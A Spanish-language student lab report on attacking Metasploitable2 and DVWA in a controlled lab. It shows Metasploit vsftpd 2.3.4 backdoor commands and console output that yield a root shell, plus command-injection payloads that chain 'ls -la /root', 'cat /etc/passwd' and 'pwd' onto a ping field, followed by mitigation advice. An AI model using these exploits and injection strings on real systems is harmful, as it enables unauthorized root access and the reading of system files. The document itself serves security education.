

# Reporte de Práctica: Explotación de Vulnerabilidades en DVWA y Metasploitable

## Introducción

El objetivo de esta práctica es analizar y explotar vulnerabilidades presentes en un entorno controlado utilizando herramientas de ciberseguridad como nmap, Metasploit y la navegación web en DVWA (Damn Vulnerable Web Application). Este ejercicio tiene como alcance evaluar las vulnerabilidades explotables, demostrar técnicas de escalación de privilegios y proponer medidas de mitigación para mejorar la seguridad de sistemas vulnerables.

## Metodología

Para llevar a cabo esta práctica, se siguieron los siguientes pasos:

### 1. Configuración del entorno vulnerable:

- Instalación y configuración de Metasploitable2 como entorno objetivo.
- Acceso a DVWA en la dirección `http://192.168.100.16/dvwa`.

### 2. Herramientas utilizadas:

- **nmap**: Para identificar puertos abiertos y servicios en ejecución.
- **Metasploit Framework**: Para explotar vulnerabilidades conocidas, como la del módulo `vsftpd_234_backdoor`.
- **Navegador web**: Para realizar ataques de Command Injection en DVWA.

### 3. Técnicas empleadas:

- Reconocimiento de servicios.
- Explotación de vulnerabilidades de servicios.
- Inyección de comandos en la aplicación web DVWA.

## Resultados

### Vulnerabilidades Identificadas

Mediante el escaneo con **nmap**, se identificaron los siguientes servicios vulnerables entre otros:

- **21/tcp**: FTP (vsftpd 2.3.4).
- **22/tcp**: SSH (OpenSSH 4.7p1 Debian 8ubuntu1).
- **25/tcp**: SMTP (Postfix smtpd).

- **53/tcp:** DNS (ISC BIND 9.4.2).
- **80/tcp:** HTTP (Apache httpd 2.2.8).
- **111/tcp:** RPC (rpcbind 2).
- **1099/tcp:** Java RMI (GNU Classpath grmiregistry).

## Explotación de Vulnerabilidades

### 1. Explotación del Servicio FTP

Se utilizó el módulo `vsftpd_234_backdoor` de Metasploit para explotar la vulnerabilidad en el puerto 21. Esto permitió establecer una conexión y obtener accesos de superusuario:

Comando utilizado:

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.100.16
run
```

Resultado:

- Acceso como superusuario confirmado.

```

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.100.16
RHOST => 192.168.100.16
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  | 192.168.100.16  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.100.16:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.100.16:21 - USER: 331 Please specify the password.
[*] 192.168.100.16:21 - Backdoor service has been spawned, handling...
[*] 192.168.100.16:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.100.7:45193 -> 192.168.100.16:6200) at 2024-12-14 12:01:12 -0600

id
uid=0(root) gid=0(root)
whoami
root

```

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.100.16:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.100.16:21 - USER: 331 Please specify the password.
[+] 192.168.100.16:21 - Backdoor service has been spawned, handling ...
[+] 192.168.100.16:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.100.7:45193 → 192.168.100.16:6200) at 2024-12-14 12:01:12 -0600

id
uid=0(root) gid=0(root)
whoami
root
ls -la /root
total 76
drwxr-xr-x 13 root root 4096 Dec 14 12:16 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
-rw-r--r-- 1 root root 324 Dec 14 12:16 .Xauthority
lrwxrwxrwx 1 root root 9 May 13 2012 .bash_history → /dev/null
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
drwxr-xr-x 3 root root 4096 May 20 2012 .config
drwxr-xr-x 2 root root 4096 May 20 2012 .filezilla
drwxr-xr-x 5 root root 4096 Dec 14 12:16 .fluxbox
drwxr-xr-x 2 root root 4096 May 20 2012 .gconf
drwxr-xr-x 2 root root 4096 May 20 2012 .gconfd
drwxr-xr-x 2 root root 4096 May 20 2012 .gststreamer-0.10
drwxr-xr-x 4 root root 4096 May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwxr-xr-x 5 root root 4096 May 20 2012 .purple
-rwxr-xr-x 1 root root 4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4096 May 20 2012 .ssh
drwxr-xr-x 2 root root 4096 Dec 14 12:16 .vnc
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwxr-xr-x 1 root root 401 May 20 2012 reset_logs.sh
-rw-r--r-- 1 root root 138 Dec 14 12:16 vnc.log

```

## 2. Inyección de Comandos en DVWA

Se explotaron vulnerabilidades de inyección de comandos en distintos niveles de seguridad de DVWA accediendo a <http://192.168.100.16/dvwa/login.php>.

### Nivel Bajo (LOW)

Payload:

```
127.0.0.1; ls -la /root
```

Resultado:

- Listado de archivos en el directorio root.

## Vulnerability: Command Execution

### Ping for FREE

Enter an IP address below:

```
PING 192.168.100.16 (192.168.100.16) 56(84) bytes of data.  
64 bytes from 192.168.100.16: icmp_seq=1 ttl=64 time=0.011 ms  
64 bytes from 192.168.100.16: icmp_seq=2 ttl=64 time=0.022 ms  
64 bytes from 192.168.100.16: icmp_seq=3 ttl=64 time=0.021 ms  
  
--- 192.168.100.16 ping statistics ---  
3 packets transmitted, 3 received, 0% packet loss, time 2012ms  
rtt min/avg/max/mdev = 0.011/0.018/0.022/0.005 ms  
total 76  
drwxr-xr-x 13 root root 4096 Dec 14 10:42 .  
drwxr-xr-x 21 root root 4096 May 20 2012 ..  
-rw----- 1 root root 324 Dec 14 10:42 .Xauthority  
lrwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null  
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc  
drwx----- 3 root root 4096 May 20 2012 .config  
drwx----- 2 root root 4096 May 20 2012 .filezilla  
drwxr-xr-x 5 root root 4096 Dec 14 10:42 .fluxbox  
drwx----- 2 root root 4096 May 20 2012 .gconf  
drwx----- 2 root root 4096 May 20 2012 .gconfd  
drwxr-xr-x 2 root root 4096 May 20 2012 .gststreamer-0.10  
drwx----- 4 root root 4096 May 20 2012 .mozilla  
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile  
drwx----- 5 root root 4096 May 20 2012 .purple  
-rwx----- 1 root root 4 May 20 2012 .rhosts  
drwxr-xr-x 2 root root 4096 May 20 2012 .ssh  
drwx----- 2 root root 4096 Dec 14 10:42 .vnc  
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop  
-rwx----- 1 root root 401 May 20 2012 reset_logs.sh  
-rw-r--r-- 1 root root 138 Dec 14 10:42 vnc.log
```

## Nivel Medio (MEDIUM)

Payload:

```
127.0.0.1 | cat /etc/passwd
```

Resultado:

- Lectura del archivo `/etc/passwd` que muestra la lista de usuarios del sistema.

## Ping for FREE

Enter an IP address below:

submit

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```

## Nivel Alto (HIGH)

Payload:

192.168.100.16 | pwd

Resultado:

- Obtención del directorio de trabajo actual.

## Ping for FREE

Enter an IP address below:

submit

/var/www/dvwa/vulnerabilities/exec

## Mitigación

Para remediar las vulnerabilidades identificadas, se proponen las siguientes medidas:

**1. Actualizar Software:**

- Actualizar los servicios vulnerables (FTP, Apache, OpenSSH, etc.) a sus últimas versiones.

**2. Restricción de Acceso:**

- Implementar reglas de firewall para limitar los accesos a los puertos abiertos.

**3. Validación de Entradas:**

- Mejorar la validación de entradas en aplicaciones web para prevenir inyecciones de comandos.

**4. Seguridad en Redes:**

- Implementar redes segmentadas y deshabilitar servicios innecesarios.

## Conclusión

Esta práctica permitió identificar vulnerabilidades explotables en un entorno controlado, demostrando la importancia de mantener los sistemas actualizados y aplicar buenas prácticas de seguridad. Las herramientas empleadas (nmap, Metasploit y DVWA) fueron clave para realizar un análisis exhaustivo y exponer los riesgos asociados a la falta de medidas de seguridad. Finalmente, se concluye que implementar las medidas de mitigación propuestas es esencial para reducir la superficie de ataque y proteger los sistemas contra amenazas externas.